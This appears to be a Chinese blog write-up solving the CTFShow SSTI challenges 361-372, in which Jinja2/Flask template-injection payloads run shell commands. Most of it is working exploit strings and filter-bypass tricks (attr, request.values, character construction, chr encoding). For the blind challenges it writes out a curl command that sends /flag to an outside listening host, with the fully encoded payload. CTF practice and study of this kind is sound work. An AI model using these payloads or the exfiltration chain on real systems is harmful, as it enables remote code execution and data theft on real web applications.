CTFShow WEB入门SSTI WEB361-372 完结!

CTFShow WEB入门SSTI WEB361-372 完结!
LuooU入门必看
(说实话照着看了一遍,学到的很多,但是这个师傅没那么细心,所以可能会在某些地方误导新手(没错,比如我))
WEB361
SSTI注入,最终payload:
1 | /?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__[%27popen%27]("cat%20/flag").read()}} |
我们借用python的flask框架解释。
1 print("".__class__)输出
class <'str'>
1 print("".__class__.__bases__)输出
(class <'object'>,),回显一元组
.__bases__返回所有直接父类的元组,按声明顺序排列
.__base__相当于.__bases__[0](在极少数多继承的 C 扩展类型上,
__base__不一定等于__bases__[0],因此不要在需要严格语义时依赖它们必然相等。)
.__mro__返回方法解析顺序(从自身到object)例如:
1 print("".__class__.__mro__)输出
(<class 'str'>, <class 'object'>)
1 print("".__class__.__base__.__subclasses__())
__subclasses__()的作用是返回当前类的所有子类集合。输出结果:
1
2 [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'FrameLocalsProxy'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InstructionSequence'>, <class 'sys.legacy_event_handler'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'NoDefaultType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._ThreadHandle'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class 'winreg.PyHKEY'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'genericpath.ALLOW_MISSING'>, <class '_winapi.Overlapped'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'ast.AST'>]我们选择其中的``,也就是
1 print("".__class__.__base__.__subclasses__()[-6])在这里我们是可以用脚本直接找的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 import json
classes="""
"""
# 在上面输入题目给的所有类
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "os._wrap_close" in v:
print(str(k)+"--->"+v)
#117---> <class 'os._wrap_close'>
然后用
.__init__装配对象,在python中__init__本质上就是一个函数对象,函数对象有__globals__属性——指向定义它的那个模块的全局字典。
1 print("".__class__.__base__.__subclasses__()[-6].__init__.__globals__)通过这个payload,我们将拿到os模块的全局字典。
直接选中其中的
popen,即:
1 print("".__class__.__base__.__subclasses__()[-6].__init__.__globals__['popen'])后面就能接上我们需要的命令了。
比如说我们用
cat /flag,也就是os.popen("cat /flag")。
os.popen会通过shell执行命令,并返回一个可读的管道文件对象。这时候我们再加
.read(),读取前面命令的标准输出,这里表达式的最终值就是文件内容,被{{}}渲染到网页页面上。
我们绕这么一大圈主要是为了绕过大部分题目对os,system,subprocess这些关键字的过滤。
回到题目,只有一个hello。
这时候我们猜GET参数为name,写
1 | /?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}} |
直接得出flag。
WEB362
这次过滤了数字。
绕过方式有很多:
全角数字绕过:
直接改成全角数字,就可以绕过过滤。
subprocess.Popen()
因为这里只过滤了2,3.
1 | /?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}} |
("cat /flag", shell=True, stdout=-1) → **实例化 Popen**:
- 第一个参数是命令(因为
shell=True,所以传的是字符串)。 stdout=-1等价于stdout=subprocess.PIPE(CTF 里常用-1来避开对subprocess/PIPE的关键字过滤)。
.communicate()[0] → 等待子进程结束并一次性读出管道;下标 0 取 stdout(下标 1 是 stderr)
数字拼接
1 | {{"".__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__['popen']('cat+/flag').read()}} |
%2b是+的url编码。
写成 %2b+11 是为了绕过对 + 的过滤(很多 Web 框架会把查询字符串里的未转义 + 当作空格),用 %2b 能确保到达模板时仍是一个真正的加号。
同样地,140-8也能得到同样的效果。
_frozen_importlib_external.FileLoader
payload:?name={{"".__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
使用_frozen_importlib_external.FileLoader进行读取flag内容。
- (0,”/flag)中:
0:充当 self(因为从类上取到的是“未绑定”的函数,需要一个“实例位”的参数;这招在 CTF 里常用来糊弄“self”,只要函数实现里不真正用到 self 就行)。
"/flag":要读取的路径。
FileLoader.get_data(self, path) 的实现只用到了 path 来打开文件并返回字节串,所以一个假的 self 也能跑通。
lipsum
使用 lipsum 方法。这个是 flask 的内置方法,自带 os 模块
1 | ?name={{lipsum.__globals__.get('os').popen('cat /flag').read()}} |
WEB363
过滤单双引号。
Payload(前半):
1 | /?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}} |
这里可以直接用元组,就不用字符串了避免被过滤。
注意'popen'中的''是怎么处理的:
1 | /?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen]}}&popen=popen |
[request.args.popen]:这里的popen是参数,request.args是一个MultiDict,装着查询字符串参数。
也就是说,我们在后面带一个值为popen的参数,就可以做到request.args.popen = 'popen'
1 | /?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=cat /flag |
同理,对于popen后接命令的双引号我们也可以绕过。
类似地,我们还有request.values.a,request.cookies.a.
WEB364
过滤单双引号,同时过滤args.
仍然有request.values.a的方法绕过。
最终payload:
1 | /?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.cmd).read()}}&a=popen&cmd=cat%20/flag |
WEB365
过滤方括号[],可以用getitem绕过。
例如原payload:
1 | /?name={{().__class__.__base__.__subclasses__[132]}} |
用getitem就变成了:
1 | /?name={{().__class__.__base__.__subclasses__.getitem(132)}} |
现在才知道**__globals__还能直接接.popen(cmd)**。
最终我们的payload:
1 | /?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=cat%20/flag |
WEB366
Cued By gkjzjh146
一共过滤'',"" ,[],__
我们已经知道__globals__可以直接接.popen(cmd)了,那我们可以将获取os.popen方法的payload再简化。
1 | /?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag |
对于过滤__,我们先给出payload:
1 | /?name={{(lipsum | attr(request.values.a)).os.popen(request.values.cmd).read()}}&a=__globals__&cmd=cat /flag |
其中(lipsum | attr(...))将直接充当lipsum.__globals__,并且绕过下划线过滤。
对于attr,官方文档:
jinja-filters.**attr**(*obj: Any*, *name: [str]) → [jinja2.runtime.Undefined](https://jinja.palletsprojects.com/en/stable/api/#jinja2.Undefined) | AnyGet an attribute of an object.
foo|attr("bar")works likefoo.bar, but returns undefined instead of falling back tofoo["bar"]if the attribute doesn’t exist.
还是很清晰的。
WEB367
过滤了os,最直观的方法就是直接把os放到GET参数里。
1 | /?name={{(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.cmd).read()}}&a=__globals__&cmd=cat /flag&c=os |
这里使用get(),比较易懂。
WEB368
尝试name={{1*1}}都失败,题目过滤了{{}}。
应对措施就是用{%print()%},payload:
1 | /?name={%print((lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.cmd).read())%}&a=__globals__&cmd=cat /flag&c=os |
WEB369
request被禁了,显然我们已经没办法再用常规方法解决。
下面是大概方向:
方法一:
- config+脚本任取字符
1 | import requests |
这个脚本,借用config配置文件里有的大量字符遍历拼接,大概原理就是让i迭代一千次,枚举前一千个字符,检查是否符合word==j.lower()这个条件,最后将绕过结构载入result中,输出result。
关于这个r.text.find("<h3>"),建议自己看看服务器返回的内容:
1 | <div class="center-content error"> |
最后一个难点,{%print (config|string|list)%}
config指向配置文件,| string将config写成字符串形式,| list将字符串拆成由字符组成的列表。
[!IMPORTANT]
注意,这个脚本生成的是拼接起来的字符串。
只能作字符串用嗷。
- set构造字符
这是我们这题需要用到的方法,
set设置变量,然后用上一个脚本跑出来的一些字符串进行拼接,得到我们想要的函数方法。
1 | /?name= |
__getitem__这个魔法方法,可以将一个自定义类当做字典任意读。
这样我们就绕过了__,os这些过滤。
方法二:
1 | /?name= |
利用元组turple和select过滤器,可以做到有限范围内的任取字符。
()|selectselect本意是筛选序列中的元素,对一个空元组不会生成实际数据,但是可以返回一个生成器对象,类似于:1
<generator object select_or_reject at 0x7fdce487b430>
这是什么,这不就是我们法一里和config有异曲同工之妙的东西吗!
再用
|string将生成器对象改成字符串,结果依然是:1
<generator object select_or_reject at 0x7fdce487b430>
但是此时不同的是,这些字已经不再是一个生成器对象的整体,而是孤立的字。
最后用
|list,得到孤立字的列表。我们此时就可以用
pop方法弹出我们需要的字符。
其中的__builtins__,指向模块的内建环境,里面包括所有内建函数(len,print,open,eval),所有内建异常(Exception,ValueError,TypeError),内建常量、类型等。
所以我们就可以通过构造内建环境,达到从SSTI模板走向Python世界的效果。
还有一个值得注意的点,就是这个get:
这样可以避免类型不对而无法调用的情况。
WEB370
方法一:
再次过滤数字,我们依然可以用全角绕过。
1 | def half2full(half): |
这都有脚本,真的很好了。
但是有必要吗(
1 | /?name= |
方法二:
使用count或者length构造数字。
1 | {% set one=(dict(a=a)|join|length)%} |
1 | /?name={%set a=dict(po=aa,p=aa)|join%} |
WEB371
终于做出来了。
1 | /?name={%set e=dict(a=a)|join|count%} |
这是我们初步绕过的脚本,可以尝试理解。
其中,()|select|string|list生成出:
['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', 'c', '4', 'b', 'c', '9', '8', '1', '3', '5', '0', '>']
第25个是_,所以我们就写pop(24).
首先我们要知道这道题的基本逻辑,题目ban了print,所以这题就算是无回显。
payload的前大半,我们都是在前面学过了的。最后的chr、cmd和一个if语句,我们要好好讲讲。
chr:从lipsum->__builtins__,最后用|attr(getitem)(chr),我们获得了python中的chr()函数。从if语句开始,这一段本质上是在利用
__builtins__进入python,通过调用eval函数,执行我们的cmd命令。如果执行结果为真,那么就输出
aaaaa。cmd里面要写什么?
关于这个,因为我们的print被禁用了,所以我们即使拿到了flag也在题目里看不见。
这时候我们可以用
curl命令将输出外带。命令构造的脚本:
1
2
3
4
5
6
7
8
9import re
def filting(s):
return "".join([f"chr({ord(i)})~" for i in s])[:-1]
cmd=filting("__import__('os').system('curl \"http://ip:port/?flag=$(cat /flag)\"')")
nums = set(re.findall("(\\d+)",cmd))
for i in nums:
patnum = "".join(["zero~" if j=="0" else f'{"e" * int(j)}~' for j in f"{i}"])
cmd = cmd.replace(f"{i}",f"({patnum[:-1]})|int")
print(cmd)
eval()里面的命令,就是在题目服务器内执行的命令。
先引入os模块,执行curl命令:
__import__('os').system('curl "http://ip:port/?flag=$(cat /flag)"')
其中的ip:port,我用的是自己服务器的监听。
比如这里我选择的8000端口,我就在自己服务器上输入nc -lvnp 8000,监听8000端口。
-l:监听(listen).
-v:verbose,多打印点信息.
-n:不做DNS解析.
-p 8000:监听8000端口.
这一段命令,通过脚本构造的字符就是
1 | chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~zero~eeeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((e~e~e)|int)~chr((e~e~eeeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int)~chr((eeee~eeeeee)|int)~chr((e~e~eeeee)|int)~chr((e~ee~e)|int)~chr((e~e~eeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~zero~e)|int)~chr((e~zero~eeeeeeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((e~e~eeeeeee)|int)~chr((e~e~eeee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eee~ee)|int)~chr((eee~eeee)|int)~chr((e~zero~eeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeeeee~eee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeeeee~e)|int)~chr((eee~eeeeee)|int)~chr((eeee~zero)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~e~eeeeee)|int)~chr((eee~ee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeee~e)|int)~chr((eee~eeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int) |
把他填到前面的命令中:
1 | /?name={%set e=dict(a=a)|join|count%} |
就可以在监听里发现请求头了。
WEB372
过滤了count,换成length就可以,其他的都不用动。
1 | /?name={%set e=dict(a=a)|join|length%} {%set ee=dict(aa=a)|join|length%} {%set eee=dict(aaa=a)|join|length%} {%set eeee=dict(aaaa=a)|join|length%} {%set eeeee=dict(aaaaa=a)|join|length%} {%set eeeeee=dict(aaaaaa=a)|join|length%} {%set eeeeeee=dict(aaaaaaa=a)|join|length%} {%set eeeeeeee=dict(aaaaaaaa=a)|join|length%} {%set eeeeeeeee=dict(aaaaaaaaa=a)|join|length%} {%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|length%} {%set x=(()|select|string|list).pop((ee~eeee)|int)~(()|select|string|list).pop((ee~eeee)|int)%} {%set glob = (x,dict(globals=a)|join,x)|join %} {%set builtins=x~(dict(builtins=a)|join)~x%} {%set import=x~(dict(import=a)|join)~x%} {%set c = dict(chr=a)|join%} {%set o = dict(o=a,s=a)|join%} {%set getitem = x~(dict(getitem=a)|join)~x%} {%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%} {%set zero=chr((eeee~eeeeeeee)|int)%} {%chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~zero~eeeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((e~e~e)|int)~chr((e~e~eeeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int)~chr((eeee~eeeeee)|int)~chr((e~e~eeeee)|int)~chr((e~ee~e)|int)~chr((e~e~eeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~zero~e)|int)~chr((e~zero~eeeeeeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((e~e~eeeeeee)|int)~chr((e~e~eeee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eee~ee)|int)~chr((eee~eeee)|int)~chr((e~zero~eeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeeeee~eee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeeeee~e)|int)~chr((eee~eeeeee)|int)~chr((eeee~zero)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~e~eeeeee)|int)~chr((eee~ee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeee~e)|int)~chr((eee~eeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int) |
依然服务器监听。
也是用拼好串做完了SSTI的所有题目,完结撒花!!
这之后,我将先去学SSTI基础,
SSTI注入 - Hello CTF
再看无回显的几种情况。




